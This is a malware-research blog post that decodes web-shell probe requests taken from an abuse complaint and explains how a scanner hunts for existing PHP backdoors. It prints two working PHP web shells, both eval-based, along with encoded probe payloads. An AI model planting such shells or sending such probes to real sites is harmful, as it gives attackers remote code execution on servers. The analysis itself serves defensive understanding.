Malware Research

A while back an abuse complaint was forwarded to me by someone requesting information about the HTTP requests contained in the complaint. Below is a select sample of the values from the requests outlined in the complaint:

[codez] => echo%2520%2528123454320%252B1%2529%253Bexit%2528%2529%253B
[z0] => ZXZhbCgnZWNobyAoMTIzNDU0MzIwKzEpO2V4aXQoKTsnKTs
[fuckyou4321] => eval(urldecode(urldecode($_POST[chr(99).chr(111).chr(100).chr(101).chr(122)])));
[fukq] => t

So what’s it doing? Let’s start by analyzing the above strings:

1. z0

[z0] => ZXZhbCgnZWNobyAoMTIzNDU0MzIwKzEpO2V4aXQoKTsnKTs

This string is base64 encoded, and decodes to:

eval('echo (123454320+1);exit();');

2. codez

[codez] => echo%2520%2528123454320%252B1%2529%253Bexit%2528%2529%253B

This line has been run through PHP’s urlencode(); function twice. Decoded, it is:

echo (123454320+1);exit();

3. fuckyou4321

[fuckyou4321] => eval(urldecode(urldecode($_POST[chr(99).chr(111).chr(100).chr(101).chr(122)])));

This decodes and executes the PHP code from the above “codez” portion of the request. Decoded, it looks like:

eval(urldecode(urldecode($_POST[codez])));

4. fukq [fukq] => t
   This one isn’t encoded, but is important.

Okay, so what are these requests all about?

As luck would have it, I had two malware samples archived from previous investigations, both of them PHP shells, which I recognized as being related to these requests.

Shell 1:

<?php eval(base64_decode($_REQUEST['z0'])); ?>

Functionally, it executes base64 encoded PHP code supplied to it via POST or GET in the “z0” parameter. Look familiar?

I have found this particular web shell added to PHP files necessary for the operation of site functions during previous investigations. Prepending this code to existing, writable PHP files causes malware scans which quarantine instances of this code to render the infected site non-functional. This appears to be a persistence method, done in an effort to increase the chance the quarantined file being removed from quarantine in order to get the site back online, making the backdoor re-accessible to the attacker. In numerous cases I have seen this shell “crypted” using a variety of methods, in an apparent effort to avoid detection by signature-based anti-malware software.

Shell 2:

<?php
$fukq = @$_GET['fukq']; if($fukq == 't'){echo(@eval($_POST['fuckyou4321']));exit;}
echo apiRequest();
function apiRequest(){
	if(@$_GET['op'] == 'check')
		{
		 return "connectjbmoveisok";
		 exit();
	    }
}
?>

This is another web shell, which executes PHP code passed to it via POST parameter “fuckyou4321” and then displays the result. The PHP code passed to the shell only executes, however, if the GET parameter “fukq” contains the value “t” – this appears to be an attempt at basic authentication by the author of the shell, but as we will see, it is not very effective against someone who has seen the code.

So if you haven’t caught on yet, this is what’s happening…

The requests in the provided abuse complaint all attempt to execute PHP code through a number of different web shells commonly hidden in infected site files.

The scanner accomplishes this by making requests to files associated with commonly exploited CMS, plugins, and themes where this shell code might be expected to be found.

These requests conform the expected operation (GET/POST parameter names, encoding types, check values) of the web shells the attacker is attempting to locate.

If one of these requests returns a response containing “123454321” (the result of the PHP code “echo (123454320+1);” being executed) the attacker has located a web shell, and confirmed their ability to remotely execute PHP through it, allowing them to further exploit the server.

Final Thoughts:

It is unclear at this time if the shells being targeted by this scanner are related to botnets which have been orphaned by c2 takedowns or similar circumstances, or if they are part of currently active botnets which are being exploited and abused by an additional malicious actor or actors.

I found this spreader’s method of exploiting common web shells particularly interesting, as in my experience it is rather uncommon compared to more “traditional” methods such as automating the exploitation of vulnerabilities present in legitimate web applications.